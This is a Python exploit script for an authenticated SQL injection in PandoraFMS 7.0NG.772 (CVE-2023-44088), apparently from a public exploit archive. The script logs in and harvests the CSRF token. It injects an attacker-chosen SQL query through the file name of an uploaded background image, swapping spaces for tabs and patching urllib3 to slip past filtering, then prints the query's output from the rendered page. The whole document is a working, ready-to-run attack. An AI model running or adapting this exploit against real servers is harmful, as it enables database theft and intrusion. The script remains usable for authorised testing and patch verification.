PandoraFMS 7.0NG.772 - SQL Injection

# Exploit Title: PandoraFMS 7.0NG.772 - SQL Injection
# Date: 21/11/2023
# Exploit Author: Osama Yousef
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://github.com/pandorafms/pandorafms/releases/download/v772-LTS/pandorafms_agent_linux-7.0NG.772.tar.gz
# Version: v7.0NG.772
# Tested on: Linux
# CVE : CVE-2023-44088

import re, requests, argparse, string, random, base64
import urllib3
import html

headers = {
    'Cache-Control': 'max-age=0',
    'Origin': '',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
    'Accept': '*/*',
    'Referer': ''
}

def login(session, url, username, password):
    res = session.get(url)
    csrf = retrieve_csrftoken(res.text)

    url+= '?login=1'
    payload = "nick={}&pass={}&login_button=Let%27s+go&csrf_code={}"

    res = session.post(url, data=payload.format(username, password, csrf), headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if 'User is blocked' in res.text:
        print("Login Failed!")
        exit(1)


def exploit(session, url, imagepath, query):
    url1 = url + "?sec=network&sec2=godmode/reporting/visual_console_builder&tab=data"
    name = random_id(10)
    payload = "{}.jpg',({}),'1','1','1','1');-- helloo.jpg".format(name, query)
    payload=payload.replace(' ', '\t')
    files = {"background_image": (payload, open(imagepath, 'rb').read(), 'image/jpeg')}

    # Create a reference to the original _make_request method
    urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
    # Replace the _make_request method with the custom_make_request function
    urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request


    res = session.post(url1, files=files, data={'action':'save', 'name':name, 'id_group': 0, 'background_image': 'None.png', 'background_color': '#ffffff', 'width': '1024', 'height': '768', 'is_favourite_sent': '0', 'auto_adjust_sent': '0', 'update_layout': 'Save'})

    if 'Created successfully' not in res.text:
        print("Failed to create a visual console!")
        exit(1)


    url2 = url + "?sec=godmode/reporting/map_builder&sec2=godmode/reporting/map_builder"
    res = session.get(url2)
    x = re.search('(?:<a href=".*">)'+name, res.text)
    match = x.group()
    url3 = match.lstrip("<a href=")
    url3 = url3.split('"')[1]
    url3 = url3.split("?")[1]
    url3 = html.unescape(url3)

    url4 = url+ "?" + url3

    res = session.get(url4)

    x = re.search('(?:var props = {"autoAdjust":true,"backgroundColor":".*","backgroundImage")', res.text)
    match = x.group()
    output = match.lstrip('var props = {"autoAdjust":true,"backgroundColor":"')
    output = output.split('","backgroundImage')[0]
    print("Query output: {}".format(output))

def retrieve_csrftoken(response):
    x = re.search('(?:<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value=")[a-zA-Z0-9]*(?:")', response)
    match = x.group()
    csrf = match.lstrip('<input id="hidden-csrf_code" name="csrf_code" type="hidden"  value="').rstrip('"')
    print("CSRF: {}".format(csrf))
    return csrf

def random_id(len):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(len))

def custom_make_request(self, conn, method, url, timeout=urllib3.connectionpool._Default, chunked=False, **httplib_request_kw):
    body = httplib_request_kw['body']
    if body:
        body = body.replace(b"%09", b"\t"*3)

    httplib_request_kw['body'] = body
    return self._original_make_request(conn, method, url, timeout=timeout, chunked=chunked, **httplib_request_kw)


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("-t", "--target", required=True, help="Target URI")
    ap.add_argument("-u", "--username", required=True, help="Username")
    ap.add_argument("-p", "--password", required=True, help="Password")
    ap.add_argument("-i", "--image", required=True, help="Image path")
    ap.add_argument("-q", "--query", required=True, help="SQL Query to execute")
    ap.add_argument("-x", "--proxy", required=False, help="Proxy Configuration (e.g., http://127.0.0.1:8080/)")

    args = vars(ap.parse_args())

    session = requests.Session()

    url = args['target']
    if 'pandora_console' not in url:
        if not url.endswith('/'):
            url += '/'
        url += 'pandora_console/'




    headers['Origin'] = args['target']
    headers['Referer'] = args['target']
    session.headers.update(headers)

    proxies = {}
    if args['proxy'] is not None:
        if 'https' in args['proxy']:
            proxies['https'] = args['proxy']
        else:
            proxies['http'] = args['proxy']

    session.proxies.update(proxies)

    login(session, url, args['username'], args['password'])

    exploit(session, url, args['image'], args['query'])

        
    
if __name__=='__main__':
    main()